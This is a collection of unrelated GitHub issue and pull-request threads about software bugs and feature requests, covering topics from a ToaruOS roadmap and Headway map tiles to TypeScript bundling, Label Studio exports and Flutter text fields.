[x] Loopback interface (lo)

Needs routing tables, at least...

[ ] Full suite of network tools:

[x] ping
[ ] nslookup/host/dig-style tools with more features
[ ] Finish dhclient (more robust parsing, lease management)
[ ] Finish ifconfig (configuration)
[ ] Finish/fixup gethostbyname, add newer interfaces (getaddrinfo, et al.)
[ ] telnet, telnetd

[ ] Add cgiserver as a server demo

[x] Bootloaders:

[x] BIOS (CD) loader needs some cleanup
[x] Rewrite/retool EFI loader?
[x] BIOS disk loader

Specifically for installation on BIOS systems.
We can check /proc/loader on the CD to determine what to install?

[ ] Kernel drivers:

[ ] Block devices:

[ ] AHCI disk drivers (SATA, ATAPI) → 2.1
[x] Maybe recover the ATA/ATAPI drivers.

[ ] Filesystem drivers

[x] Port iso9660 driver
[x] Recover/rewrite ext2 driver (maybe just read-only?)
[ ] Write a FAT driver because we've been missing one for ages?
[x] Recover MBR partition mapper
[ ] ... and add GPT implementation
[ ] Design a new block-based filesystem with write support

[ ] Network device drivers:

Recover RTL8139 driver Used to be QEMU's default, but that's E1000 now.
Recover AMD PCNET driver Only VirtualBox uses this, and it's old and terrible; just switch to E1000...
[ ] RTL8169
[ ] virtio?

[x] Finish Elf64 module loader

[x] Add userspace device driver manager with PCI ID mapping database

[ ] Ports

[ ] Rewrite package manager for dedicated format, like 1.2.x had.
[x] Build tools

[x] gcc
[x] binutils

[x] SDL

[x] Quake

[x] Doom
[x] mbedTLS

Ultimately, I do want to write our own TLS implementation, but the mathematics behind it enough of a blocker that it has no business being in our 2.0 roadmap, so mbedTLS will continue to fill that role.

[ ] Python 3.x?

Uncertain, don't care much w/ Kuroko... Would still be nice to have in the package repo.

[x] muPDF

Hasn't been touched since before NIH project was merged, has a lot of little deps.
We had a wrapper application in Python; we can do one in Kuroko?

[ ] SMP-performant primitives

Still lots of little things that need to be done with thread-safe collections and atomics.
A lot of this is also needed to finish the network stack / TCP implementation.

[ ] Desktop Experience

[ ] Keyboard layout configuration

[ ] With at least a JIS layout for the ThinkPad I have...

[x] New wallpaper
[ ] Port panel to Kuroko?

The Python version had actual widget support, the current C version is annoying to expand...

[ ] Add an installer

Highly dependent on getting both new block device drivers and a stable writable persistent filesystem. The ext2 driver from toaru32 is completely unsuitable, the tarfs driver is read-only.
Can probably just build off of the tutorial for UI matters.
Needs partition creation tools, probably for GPT?
Needs disk loaders with support for whatever partitioning we end up doing...

[ ] Documentation

We left off 1.x with a working documentation viewer, but no documentation to view. Can we improve that situation? It's not as good as toaru-legacy's pseudo-HTML parser yet, but it does provide enough for at least something better than a single line of text.

Hello,
I found this project quite interesting project for learning OS.

Is this project open for contribution?
if yes, then can I work on some this roadmap items as part of 'Hacktoberfest' contributions?

Thank you,

I prefer contributions to ToaruOS be limited to issue reports and ports. Last year's Hacktoberfest presented a number of challenges for participating projects, and I don't believe ToaruOS's development approach is suited to the event.

Idea: pin this "issue"


Built Philadelphia successfully but tiles do not show

So, I was able to build Philadelphia and to launch the docker stack successfully.
But when I access the server on port 8080:

the interface shows,
the routing engine works
but the map (tiles) itself does not show.

I tried (on Debian) with Firefox and Brave browsers and the same.

Can you provide any additional information? Logs from the browser dev tools and docker containers, specifically.

I checked all consoles from the docker containers and nothing seemed off
-- no errors nor warnings.
On 7/28/22 19:23, Ellen Poe wrote:

Can you provide any additional information? Logs from the browser dev
tools and docker containers, specifically.
—
Reply to this email directly, view it on GitHub
https://github.com/headwaymaps/headway/issues/67#issuecomment-1198719292,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ACXN4CSIZSSWUBJ4PY5IWQTVWMI5ZANCNFSM54652IHQ.
You are receiving this because you authored the thread.Message ID:
@.***>

Can you please provide them anyway, along with the full console logs of the dev tools inside of your browser. This is nowhere near enough information to diagnose the problem.

Yes of course, I am on that now: I deleted all containers, pruned the
system with docker prune and have launched docker-compose up -d
again. Currently building.
As soon as I have a clean slate, will send results.
On 7/28/22 19:28, Ellen Poe wrote:

Can you please provide them anyway, along with the full console logs
of the dev tools inside of your browser. This is nowhere near enough
information to diagnose the problem.
—
Reply to this email directly, view it on GitHub
https://github.com/headwaymaps/headway/issues/67#issuecomment-1198722435,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ACXN4CXJMIY3URAYK34Z6XTVWMJTTANCNFSM54652IHQ.
You are receiving this because you authored the thread.Message ID:
@.***>

I should also mention that if you didn't follow the BUILD.md instructions correctly the bounding box will not be set correctly. So make sure you set up your .env from the example and specifically HEADWAY_AREA must be set to Philadelphia for this example.

Yes of course, did so.
On 7/28/22 19:32, Ellen Poe wrote:

I should also mention that if you didn't follow the BUILD.md
instructions correctly the bounding box will not be set correctly. So
make sure you set up your |.env| from the example and specifically
|HEADWAY_AREA| must be set to Philadelphia for this example.
—
Reply to this email directly, view it on GitHub
https://github.com/headwaymaps/headway/issues/67#issuecomment-1198724031,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ACXN4CV2DGYFRHT44B2RFZLVWMKBNANCNFSM54652IHQ.
You are receiving this because you authored the thread.Message ID:
@.***>

Here are the errors reported in Firefox:

Did you set the public URL correctly? If it's a non-local installation you have to set the public URL.

It is a local installation within <IP_ADDRESS>/24
You mean in the .env file?

Yep. Just take the base URL in your browser and put it in there and it should come up just fine. Are you sure you're not accessing it via g11.qtpl.net:8080? because that's what firefox is saying in the logs.

THAT WAS IT.
I changed the HEADWAY_PUBLIC_URL in the env`file and I can now see the
tiles.
But the documentation is IMO a bit misleading as I am NOT publishing
outside of my local network.
On 7/28/22 19:36, Ellen Poe wrote:

Did you set the public URL correctly? If it's a non-local installation
you have to set the public URL.
—
Reply to this email directly, view it on GitHub
https://github.com/headwaymaps/headway/issues/67#issuecomment-1198725795,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ACXN4CSKBCHGUGKMODJPNLLVWMKONANCNFSM54652IHQ.
You are receiving this because you authored the thread.Message ID:
@.***>

Glad it's working now! I'd love help with the docs if you want to submit a PR.

Yup, will do.
On 7/28/22 19:43, Ellen Poe wrote:

Glad it's working now! I'd love help with the docs if you want to
submit a PR.
—
Reply to this email directly, view it on GitHub
https://github.com/headwaymaps/headway/issues/67#issuecomment-1198729316,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ACXN4CVNPZ6TNRYHLMW3HJ3VWMLLPANCNFSM54652IHQ.
You are receiving this because you authored the thread.Message ID:
@.***>


Setup a parent based sampler

Is your feature request related to a problem? Please describe.
Related with a recent integration in a project of ours - https://github.com/netlify/build/pull/5118 - we're passing over a set of remote traceId, spanId and traceFlags to create a parent span we can use to stitch together a full trace of our system:

https://github.com/netlify/build/blob/705b93a8c59af878b5c698d1a3d9a04e7528b27e/packages/build/src/tracing/main.ts#L44-L51

The problem we're facing is that it seems like the current sampler in place is not aware of the parent span context:

https://github.com/honeycombio/honeycomb-opentelemetry-node/blob/a2da97851f6d443a8ac4fafe3844c38cb8912b7c/src/deterministic-sampler.ts#L38-L66

And we have no way of overriding it since the opts spread in the HoneycombSDK constructor is being overriden by the DeterministicSampler creation:

https://github.com/honeycombio/honeycomb-opentelemetry-node/blob/a2da97851f6d443a8ac4fafe3844c38cb8912b7c/src/opentelemetry-node.ts#L18-L25

Describe the solution you'd like
Either wrap the current default DeterministicSampler with a ParentBasedSampler so that the parent span context is used out of the box or alternatively allow us to override the default sampler.
Describe alternatives you've considered
None that I could think of but definitely open to it 👍
Additional context

Created a couple of PRs (#204 and #205) which address both problems. Let me know what you all think 👍

As mentioned in a comment in #205 comment.
I've approved #204 as this allows user better access to override some more distro PRs.

Thank you @MikeGoldsmith 🙏
Something I realised though when you reviewed the PRs and I went on to read the spec for the TraceIdRatioBasedSampler is that, given a traceID and a sampleRate, the resulting sample decision will always be the same is that correct (hence the DeterministicSampler behaviour 🤦)? So in fact our problem would be solved if, besides passing on a traceID we also use the same sampleRate, we should get consistent sampling across the whole trace.
Nevertheless I think #204 is still useful so happy to follow up on that 👍

Yes, that's correct - the TraceID ratio samplers are meant to be deterministic based on Trace ID and will consistently return the same result for the same Trace ID. Our sampler effectively just wraps this behaviour and returns the selected sample rate in the sampling decision result which are added to the span before it's exported. We have custom handling of the "SampleRate" attribute in our backend to calculate real population size. The default samplers do not return the ratio as an attribute.


can't display the png img in vs2019 simulator

I use LVGL's file system API, it work fine when i transform the img to bin file，but when i open png file directly，it display “nodata”.
I Initalize the decocer with lv_png_init() and add #define LV_PNG_USE_LV_FILESYSTEM 1.
It printf: ERROR 48:empty input buffer given to decoder. Maybe caused by non-existing file?

Hi,
Have you tried to open this example file? lv_img_set_src(img, "P:lv_lib_lodepng/png_decoder_test.png");
If so have you placed lv_lib_lodepng to the root folder of the project?
Can you "manually" open the file with lv_fs_open?

Yes, I placed lv_lib_lodepng to the root folder of the project, and try the example.
I will try to manually open the file with lv_fs_open, thank you!


SOP : dbxrefs of obsolete classes when merging

[following Mondo QC call, Dec 17 2021]
The merging/obsoleting documentation was updated and includes the following:

"The dbxrefs should stay with the obsoleted class and not be moved to the replacement term."
"Retain all of the database_cross_references on the obsoleted term. Any annotations to MONDO:equivalentTo should be changed to MONDO:obsoleteEquivalent."

I am questioning why all the database-cross references should be retained on the obsoleted terms when merging terms. The whole reason for merging terms is because they represent the same concept, and therefore the database-cross references should be moved to the live term, except for the DBxref which has "MONDO:equivalentTo" to the same source in both the live and the obsolete term

Should we instead : "move all the DBxref to the live term BUT retain the DBxref on the obsoleted term when the DBxref is 1) MONDO:equivalentTo SourceX, 2) there is already a MONDO:equivalentTo SourceX on the live term."
The DBxref on the obsoleted term would then be changed to "MONDO:obsoleteEquivalent".

Some annotations (e.g. synonyms, or DBxref if question to 1. is yes) have their own DBxref/source. These DBxref/source might refer to an obsoleteEquivalent that stayed on the obsolete term. That is weird.

(I will add some screenshots)

Example: merging MONDO:0016891 into MONDO:0008013
On the live "MONDO:0008013" term:

2 Mondo:equivalentTo Orphanet:
MONDO:0008013 - dbxref = Orphanet:261112 {source="DOID:0060732", source="MONDO:equivalentTo", source="OMIM:158170"}
MONDO:0016891 - dbxref =  Orphanet:261929 {source="MONDO:equivalentTo"}
MONDO:0008013 - dbxref = Orphanet:261112 {source="DOID:0060732", source="MONDO:equivalentTo", source="OMIM:158170"}

-- > Orphanet:261929 should stay on (obsolete)MONDO:0016891 as {source="MONDO:obsoleteEquivalent"}

On the live MONDO:0008013 : These synonyms and other dbXrefs refer to [Orphanet:261929] which has not been brought up to this term (isn't this weird?)

Good question.
I think we were wrong in our call about this, but the question is even more complex, when you consider the opposite case (MONDO:0008013 gets obsoleted - what happens then to all the xrefs?).
My suggestion, but needs to be ratified by @cmungall:
ALT 1

If the source id is obsolete (i.e. in the case of a Mondo:equivalentObsolete xref on the Mondo ID that is deprecated), we change the xref to Mondo:obsoleteEquivalentObsolete but do not move it.
If the source id is live, we move it to the new ID, but as MONDO:equivalentTo, not MONDO:obsoleteEquivalent.
We drop the concept of MONDO:obsoleteEquivalent altogether.

We could also:
ALT 2: Only what's LIVE matters

Move all xrefs to the live class. If the source class is live its : MONDO:equivalentTo. If the source class is obsolete: Mondo:equivalentObsolete.
We could persist a redundant xref Mondo:obsoleteEquivalent on the obsoleted MONDO class if the source concept is life, and an obsoleteEquivalentObsolete if the source concept is obsolete. This way, we never lose provenance. In other words, Mondo:obsoleteEquivalent and Mondo:obsoleteEquivalentObsolete are totally redundant - just there for provenance.

I think the second solution is cleaner and easier to understand and communicate. Also, it means much less work for you fixing stuff, as much stuff can be done automatically.

default - if it is a merge - things could move across, i.e., we should continue what we have been doing with owl toolsl merger.

Lets discuss this again in a 1:1 :)

I think this can be closed? Please reopen if there are still questions


with Vue2.7, UI library (Vant, Elment) tree-shaking not work

Describe the bug
With same code, tree-shaking can take effect when using Vue3 and related UI libraries (Vant, Element).
But using Vue2.7, the tree-shaking of UI library (Vant, Element) cannot take effect.
Using vue3
`pnpm build
vite v3.2.4 building for production...                                                                            12:04:30
✓ 1598 modules transformed.                                                                                12:05:07
dist/img/vue.5532db34.svg     0.48 KiB                                                                            12:05:10
dist/index.html               0.65 KiB                                                                            12:05:10
dist/js/index.4449fe6e.js     2.56 KiB / gzip: 1.30 KiB                                                           12:05:10
dist/js/vue.987a8dbd.js       58.70 KiB / gzip: 22.94 KiB                                                         12:05:10
dist/css/index.3dc4ccc1.css   66.33 KiB / gzip: 32.69 KiB
dist/js/element.a9b18148.js   93.84 KiB / gzip: 31.73 KiB                                                         12:05:10
dist/js/vant.efae4f99.js      9.96 KiB / gzip: 4.72 KiB                                                           12:05:10`

dist/js/element.a9b18148.js       93.84 KiB / gzip: 31.73 KiB
dist/js/vant.efae4f99.js               9.96 KiB / gzip: 4.72 KiB

Using vue2.7
`pnpm build
vite v3.2.4 building for production...                                                                            12:11:07
✓ 495 modules transformed.                                                                                12:11:34
dist/img/vue.5532db34.svg     0.48 KiB                                                                            12:11:49
dist/index.html               0.65 KiB                                                                            12:11:49
dist/js/index.017e5c31.js     3.51 KiB / gzip: 1.55 KiB                                                           12:11:49
dist/js/vue.701de6e5.js       74.20 KiB / gzip: 26.77 KiB                                                         12:11:49
dist/css/index.f0b4d42c.css   67.77 KiB / gzip: 30.68 KiB                                                         12:11:49
dist/js/element.76b7109b.js   776.77 KiB / gzip: 199.29 KiB
dist/js/vant.6369a8c3.js      249.86 KiB / gzip: 73.14 KiB                                                        12:11:49`

dist/js/element.76b7109b.js      776.77 KiB / gzip: 199.29 KiB
dist/js/vant.6369a8c3.js             249.86 KiB / gzip: 73.14 KiB

Reproduction
https://github.com/wuliqun/vite_vue2.7
Steps to reproduce
pnpm install
pnpm build
System Info
System:
    OS: Windows 10 10.0.18363
    CPU: (16) x64 Intel(R) Xeon(R) CPU E5-2640 v2 @ 2.00GHz
    Memory: 7.87 GB / 15.93 GB
  Binaries:
    Node: 16.18.0 - C:\Program Files\nodejs\node.EXE
    Yarn: 1.21.1 - ~\AppData\Roaming\npm\yarn.CMD
    npm: 8.19.2 - C:\Program Files\nodejs\npm.CMD
  Browsers:
    Chrome: 90.0.4430.212
    Edge: Spartan (44.18362.1533.0)
    Internet Explorer: 11.0.18362.1

Used Package Manager
pnpm
Logs
No response
Validations

[X] Follow our Code of Conduct
[X] Read the Contributing Guidelines.
[X] Read the docs.
[X] Check that there isn't already an issue that reports the same bug to avoid creating a duplicate.
[X] Make sure this is a Vite issue and not a framework-specific issue. For example, if it's a Vue SFC related bug, it should likely be reported to vuejs/core instead.
[X] Check that this is a concrete bug. For Q&A open a GitHub Discussion or join our Discord Chat Server.
[X] The provided reproduction is a minimal reproducible example of the bug.

use vite-plugin-babel-import  solved this.


[feature][byob] Return the sha256 of the generated provenance

See discussion at https://github.com/slsa-framework/slsa-github-generator/pull/1787/files#r1145315325 and be use TRWs verify it before using the provenance
We will need to support a tarball since we may upload multiple attestations, as per the Action's layout.

This was done recently. Both the generic and low-perm delegators return the sha256 of the attestations. Closing.


Remove reset

Fixed a kind of scary bug where a register that drives another register could be deleted from the latter register's update in emitted Verilog. See PipeTester for an example. Note that as far as I can tell, this bug has yet to manifest since Chisel cannot generate Firrtl that exhibits the bug. Improved constant propagation could have made it show up though, and my second commit here also made it show up.
Replace register reset with an explicit mux that is connected to the register. Removing reset enables more powerful constant propagation and other optimizations (like replacing all wires with nodes)

I can see why turning reset into an explicit mux would help with other optimizations, but does this mean Firrtl will no longer emit the verilog idiom for a resettable FF?  If so, this could definitely impact QoR.

This doesn't affect the emitted Verilog at all except for improvements where additional optimizations can occur. Firrtl will still walk the mux tree to emit register update using if else inside of the always @(posedge clock) block.

To be a little more concrete, I generated Verilog using rocket-chip DefaultConfig before and after this change
https://github.com/freechipsproject/rocket-chip/commit/c9cfe46604ff61fddf923f9d6754cd5b2230069e:
You can see the Verilog (and diff) at the gist here: https://gist.github.com/jackkoenig/4f8b832565f7a1cd91e90bbf7d70226f
I've also pasted the short diff here. Left is without this PR, right is with this PR (ie. implicit register reset is replaced with an explicit mux):
133573,133577c133573
<     if (reset) begin
<       pending_0 <= 1'h0;
<     end else begin
<       pending_0 <= 1'h0;
<     end
---
>     pending_0 <= 1'h0;
169978,169982c169974
<     if (reset) begin
<       s1_slaveValid <= 1'h0;
<     end else begin
<       s1_slaveValid <= 1'h0;
<     end
---
>     s1_slaveValid <= 1'h0;
198917c198909,198925
<       ex_ra_0 <= _GEN_64;
---
>       if (fp_decoder_io_sigs_ren2) begin
>         if (fp_decoder_io_sigs_swap12) begin
>           ex_ra_0 <= _T_639;
>         end else begin
>           if (fp_decoder_io_sigs_ren1) begin
>             if (_T_636) begin
>               ex_ra_0 <= _T_637;
>             end
>           end
>         end
>       end else begin
>         if (fp_decoder_io_sigs_ren1) begin
>           if (_T_636) begin
>             ex_ra_0 <= _T_637;
>           end
>         end
>       end
198920c198928,198944
<       ex_ra_1 <= _GEN_66;
---
>       if (fp_decoder_io_sigs_ren2) begin
>         if (_T_645) begin
>           ex_ra_1 <= _T_639;
>         end else begin
>           if (fp_decoder_io_sigs_ren1) begin
>             if (fp_decoder_io_sigs_swap12) begin
>               ex_ra_1 <= _T_637;
>             end
>           end
>         end
>       end else begin
>         if (fp_decoder_io_sigs_ren1) begin
>           if (fp_decoder_io_sigs_swap12) begin
>             ex_ra_1 <= _T_637;
>           end
>         end
>       end
198923c198947,198955
<       ex_ra_2 <= _GEN_67;
---
>       if (fp_decoder_io_sigs_ren3) begin
>         ex_ra_2 <= _T_647;
>       end else begin
>         if (fp_decoder_io_sigs_ren2) begin
>           if (fp_decoder_io_sigs_swap23) begin
>             ex_ra_2 <= _T_639;
>           end
>         end
>       end

The amount of difference here is pretty small, primarily illustrating a couple of cases where additional optimizations could be applied and a few others where the mux tree was actually expanded further (although seemingly only in cases for registers without a reset).

(For the record, I ran this experiment before PRing the change but I should have pasted this here so that others could see that I wasn't changing things without checking)

Great, thanks for looking into it.


fix: TX pl variable name to the correct level

If this PR is a dup of #3111, then please close my PR.

Oh, yes, it is - I'm really sorry, didn't realize that. :worried:


Using GoogleAnalytics via segment.io with disable autorun. Will GA get all data?

I am using this package and ONLY have segment.io enabled.
I disabled "autorun", as I read in some metric-tutorials, that "tracking less is more". So in Mixpanel I only want the "less"-data, BUT in GoogleAnalytics I want ALL!
QUESTION:
When only routing thru "segment.io" and "autorun": false: Will GoogleAnalytics still be able to give ALL statistics, or is it NOT getting ALL data (as I am only manually sending events via analytics.page and analytics.track)??
Any ideas? How do you guys set it up?

By the way: I just noticed that GoogleAnalytics "live preview"mode does NOT work when using the above setup.
Any ideas?

Thanks, @thebarty. We'll look into this as soon as we can.
Regarding your second question: have you tried manually logging a page view, using analytics.page('page name')? That's what the README suggests if you have autorun disabled.

Yes, of course: I have manuel page- and track-events placed. Those, plus login events, are displayed in segments debugger

@thebarty If you disable the autorun then you will only receive the events where you are manually calling the page or track events. By default anytrack or page call will send to all the services you have initialised. autorun only stops the automatic tracking that we have setup.
If you wish to filter which events go where you have two options:

Manually set the destinations for each page or track

// analytics.track(event, [properties], [options], [callback]);
// analytics.page([category], [name], [properties], [options], [callback]);

// Example tracking a Ticket purchase and sending the event only to GA
analytics.track("Bought Ticket", {
  eventName: "Wine Tasting",
  couponValue: 50,
}, {
  integrations: {
    "Mixpanel": false,
    "Google Analytics": true
  }
});

If you are using/paying for segment.io's service you can filter these via their UI interface instead of manually doing the above everywhere.

Check out there docs here for more details on the API.
Hope this has been helpful. Happy to answer anything else if I can. 😄


fix(app-cmds): incomplete payloads giving tracebacks within autocomplete

Summary
When using either a nextcord.User or nextcord.Member item within autocomplete there is a chance that the required data is missing due to discord not sending the data. This PR fixes the raw tracebacks and instead takes a best effort approach to attempting to get a valid object from cache before returning atleast a nextcord.Object object.
Reproduction code

@client.slash_command()
async def test(
    interaction: nextcord.Interaction,
    member: nextcord.Member = nextcord.SlashOption(
        name="member", description="Select member", required=True
    ),
    warn: int = nextcord.SlashOption(name="warn", description="Warn", required=True),
):
    print(type(member))

@test.on_autocomplete("warn")
async def warn_autocomplete(interaction: nextcord.Interaction, warn: int, member: nextcord.Member):
    print(type(member))

    return await interaction.response.send_autocomplete([str(i) for i in range(10)])

Reproduction steps
Run the command, when populating the member choices click a user and do nothing else. Then click and fill in the warn entry, this should produce a traceback
Checklist

[x] If code changes were made then they have been tested.

[x] I have updated the documentation to reflect the changes.
[x] I have run task pyright and fixed the relevant issues.

[x] This PR fixes an issue.
[ ] This PR adds something new (e.g. new method or parameters).
[ ] This PR is a breaking change (e.g. methods or parameters removed/renamed)
[ ] This PR is not a code change (e.g. documentation, README, ...)

Ah well, I can't figure out how to dismiss reviews


Converting from LabelStudio JSON Format to YOLO

Hello,
I tried downloading all the images&annotations from LabelStudio but looking at : https://github.com/heartexlabs/label-studio/issues/3212 I understand why this is a problem. I have 2000 images with their corresponding annotations and every time I try to use the export function, randomly between 300-400 images and 600-700 annotations are being downloaded.
To still solve this issue, I exported the dataset using the "JSON" export type (Label Studio Common Format).
However, I am having a hard time understanding the LabelStudio JSON format and how to convert it to YOLO.
In : https://labelstud.io/guide/export.html I can see how to convert from JSON format to "pixel", but I thought that would give me the absolute coordinates, which it doesn't.
How to convert from JSON to YOLO given that I only have the labels and (to the best of my knowledge) label studio converter scripts need a configuration file and the source image data as folder? (remember I only have the .JSON annotation).
Thanks in advance!
PS:
I started actually to use these two lines of code in order to do the parsing (lines 676-678) from converter.py (convert_to_yolo function) from label_studio_converter, but I am not sure this is the only thing that needs to be done:
          if "rectanglelabels" in label or 'labels' in label:
                    x, y, w, h = self.rotated_rectangle(label)
                    annotations.append([category_id, (x + w / 2) / 100, (y + h / 2) / 100, w / 100, h / 100])

Thank you @makseq . Unfortunately the server I am working is not locally (I cannot restart it since multiple projects are under way nor is it Enterprise Edition as far as I can infer). I managed to workaround that, downloaded the .JSON annotation in LS format, adapted the code like specified above and created a mapping between the local name of the images and their name on LS.

Did you try snapshot API ?

Thank you @makseq . I will try the Snapshot soon. According to the docs, I can see Snapshot feature is available in the Enterprise Edition, which the current setup doesn't benefit from.
PS: I just checked now, the UI doesn't provide me with the snapshot option, only several COCO/YOLO/JSON/JSONMIN options. It's also important to note that the current version of LS is 1.4.0.

Snapshot API is available everywhere.

I bet it is, probably it's an older version (1.4.0) and it doesn't show up. The only EXPORT options in my case are these ones.

I try to use the export function, randomly between 300-400 images and 600-700 annotations are being downloaded

how does it look? you got zip file and there is only 300-400 images are inside?

I try to use the export function, randomly between 300-400 images and 600-700 annotations are being downloaded

how does it look? you got zip file and there is only 300-400 images are inside?

Exactly,  300-400 images inside and more annotations (my hunch is that's easier to zip the .txt prior to timeout issue).

You can try to use export_snapshots_create with filter from 0 to 300th image:
https://labelstud.io/sdk/project.html#label_studio_sdk.project.Project.export_snapshot_create
then from 300 to 600th,
etc.


Add an opam file

Should we also add a Travis file? it's a bit painful to do that for all the deps of profuse, but that might be useful ...

Yes, these would be useful but I fear they may be too noisy for now... :-/ A lot of this really needs serious maintenance/organization work. :-(


Typescript compile to single file

I'm using TS 1.7 and I'm trying to compile my project to one big file that I will be able to include in my html file.
My project structure looks like this:
-build // Build directory
-src // source root
--main.ts // my "Main" file that uses the imports my outer files
--subDirectories with more ts files.
-package.json
-tsconfig.json

my tsconfig file is:
 {
  "compilerOptions": {
    "module":"amd",
    "target": "ES5",
    "removeComments": true,
    "preserveConstEnums": true,
    "outDir": "./build",
    "outFile":"./build/build.js",
    "sourceRoot": "./src/",
    "rootDir": "./src/",
    "sourceMap": true
  }
}

When I build my project I expect the build.js file to be one big file compiled from my source. But ths build.js file is empty and I get all of my files compiled o js files.
Each of my TS files look a bit like this
import {blabla} from "../../bla/blas";

export default class bar implements someThing {
    private variable : string;
}

What am I doing wrong ?

Unfortunately, --module and --outFile is a trap combination for many users that is generally not useful. If you'd like to bundle your application, I'd suggest you remove outFile and use a tool like Browserify or Webpack.

actually in #5090 we've added support for bunding amd\system modules into one file.

Thanks for the correction @vladima, I didn't realize.

Please consider adding native bundling support to typescript.
The workaround is a huge pain to setup and maintain: Compile all typescript modules to ES6, then transpile to ES5 with Babel using the correct babelrc, presets, etc; then feed the ES5 output to webpack (webpack 1.x doesn't support ES6)

Compile all typescript modules to ES6, then transpile to ES5 with Babel using the correct babelrc, presets, etc; then feed the ES5 output to webpack (webpack 1.x doesn't support ES6)

@AlexGalays can you elaborate on why you need the babel step there? i understand the webpack step.

@mhegazy  Good question... I had a few modules that required commonJS interop and that used to work  with babel 5; now I moved to babel 6 and updated these modules anyway, so I'm going to fork my setup, remove the babel step and keep you updated.

I'm a bit confused. Should not compiling multiple files in amd mode with out setting specified result in a file with a single define(...) statement?
I'm using gulp-typescript and have approximately following:
gulp.task('compile', function() {
    var tsProject = $.typescript.createProject('tsconfig.json', {
        removeComments: true,
        module: 'amd',
        out: compiled.js`
    });

    var tsResult = gulp.src(['src/client/feature1/**/*.ts', 'src/types/**/*.ts'])
        .pipe($.typescript(tsProject));

    return tsResult.js
        .pipe(gulp.dest('build/client/feature1.js'));
});

Given that folder feature1 had two files (a.ts, and b.ts), the result is:
define("client/feature1/a", ["require", "exports"], function (require, exports) {
    "use strict";
    // feature one/a code...
});
define("client/feature1/b", ["require", "exports"], function (require, exports) {
    "use strict";
    // feature one/b code...
});

... which to my understanding is not valid anyway. Shouldn't output be something like this:
define(["require", "exports"], function (require, exports) {
    "use strict";
    // feature one/a code...
    // feature one/b code...
});

... which to my understanding is not valid anyway. Shouldn't output be something like this:

why is not it valid?

[http://requirejs.org/docs/api.html#define](docs for requirejs) state:

There should only be one module definition per file on disk.

Please see http://requirejs.org/docs/api.html#modulename

thanks for the right pointer.

After searching for days on how to do this, and being directed here, I also support this motion.

+1

I can't be the only thinking wtf, but then again this is Microsoft, so not all that shocked

At the moment I have a happy truce by using webpack + https://github.com/s-panferov/awesome-typescript-loader

That loader uses tsc bare metal commands.


clasp login fail

(Note: Non-breaking issues are likely not to be prioritized. Please consider a PR in addition to your issue)

Expected Behavior
clasp login will run success
Actual Behavior
when I run clasp login --no-localhost or clasp login both showed like this
Logging in globally…
script.google.com ✖
console.developers.google.com ✖
console.cloud.google.com ✖
drive.google.com ✖
Error: Looks like you are offline.

I am sure that I can open goole.com in chrome
Additional,I am in China,so I  must use vpn,and I don't kown how to fix this,thans.
Specifications

Node version (node -v):v16.13.0
Version (clasp -v):2.4.1
OS (Mac/Linux/Windows):mac

me too  in china

me too in china

咱俩就别秀英文了...

拿你弄好了么，我登录可以但是还是没发生成。clasprc.json文件  也就是没法用


Scratch org pool source deploy

Is your feature request related to a problem? Please describe.
Source deployment to a scratch org in our CI pipeline takes 12+ minutes, and it is a bottleneck in our overall CICD process. Pooling will save a few minutes of package installation but from what I understand doesn't allow source deployment (and even if it did this would time out for us with the 6 minute timeout).
Describe the solution you'd like

I would like to be able to deploy source to the scratch org for a given git hash so that in the CI pipeline I can use sfdx-git-delta to only deploy the code that changed, saving quite a lot of time.
One idea I thought of would be to have a way of staging orgs in the pool, so once built they could be transferred to another pool where source could be deployed to them.
We would also need a way to know the git hash/tag used for deploying the source to the scratch org which is allocated from the pool to run through sfdx-git-delta.

Describe alternatives you've considered
Looked at Salesforce snapshots but it's still a pilot, basic and poorly documented.
Additional context

@MeStrak - Have you explore using the Package Checkpoints yet for your prepare of scratch org pools?  You can use the snapshotPool flag to do this.  Also, can you please elaborate on your source deployment? How many source packages do you have or is it a singular force-app?  By default, scratch org pools will be deployed using source deploy for the packages.  What is also limiting your 6 minute timeout in your runner/agents?

Thanks for the fast reply! So ...  I was sure I read that there was a 6 minute limit to a build, but checking again today the only reference I can see to 6 minutes is the default wait time.
We have a few packages which are installed in CI, but all code is currently in a single force app - that's the 12 minute part.
Given the references you sent and the fact that I misread the limit, it looks like it is possible to do what I want. I'm gonna close this for now to avoid confusion and if I run into any issues I'll open another.
Thanks!


Replace providerId/consumerId with odrl:assigner / odrl:assignee

Closes #195

You only checked for dspace:providerId and dspace:consumerId. Please also search for providerId and consumerId. For instance, the protocol document (line 102) contains some leftovers.

@juliapampus I have pushed the changes, please have a quick look.


Flutter TextField onSubmitted or onEditingComplete not work by pressing tab key or if i click to another field

Is there an existing issue for this?

[X] I have searched the existing issues
[X] I have read the guide to filing a bug

Steps to reproduce
Flutter TextField onSubmitted or onEditingComplete not work by pressing tab key or if i click to another field
Expected results
i want to validate input value when i leave textfield.
Actual results
same as above
Code sample
Code sample
      TextField(
        controller: textController,
        decoration: InputDecoration(labelText: widget.fm.descr),
        keyboardType: TextInputType.numberWithOptions(decimal: true),
        textInputAction: TextInputAction.done,
        onSubmitted: (value) {
          print('on submitted');
          FocusScope.of(context).nextFocus(); // Move focus to the next field
        },

        onEditingComplete: () {
          print('on on Edit Complete');
        },
      ),

Screenshots or Video

Screenshots / Video demonstration
[Upload media here]

Logs
Logs
[Paste your logs here]

Flutter Doctor output
Doctor output
Doctor summary (to see all details, run flutter doctor -v):
[√] Flutter (Channel stable, 3.10.1, on Microsoft Windows [Version 10.0.19045.2965], locale en-US)
[√] Windows Version (Installed version of Windows is version 10 or higher)
[√] Android toolchain - develop for Android devices (Android SDK version 31.0.0)
[√] Chrome - develop for the web
[√] Visual Studio - develop for Windows (Visual Studio Enterprise 2022 17.2.3)
[√] Android Studio (version 2020.3)
[√] VS Code (version 1.75.1)
[√] Connected device (3 available)
[√] Network resources

• No issues found!

Please check these documents for more information:

https://api.flutter.dev/flutter/material/TextField/onSubmitted.html
https://api.flutter.dev/flutter/material/TextField/onEditingComplete.html

That being said, using onSubmitted or onEditingComplete will not be appropriate in this case. Instead, you should use Form validation with FocusNode for each field. Please check this SO answer as an example.
You may also get some help if you post it on Stack Overflow and if you need help with your code, please see https://www.reddit.com/r/flutterhelp.
Closing, as this isn't an issue with Flutter itself.


The automated release is failing 🚨

:rotating_light: The automated release from the develop branch failed. :rotating_light:
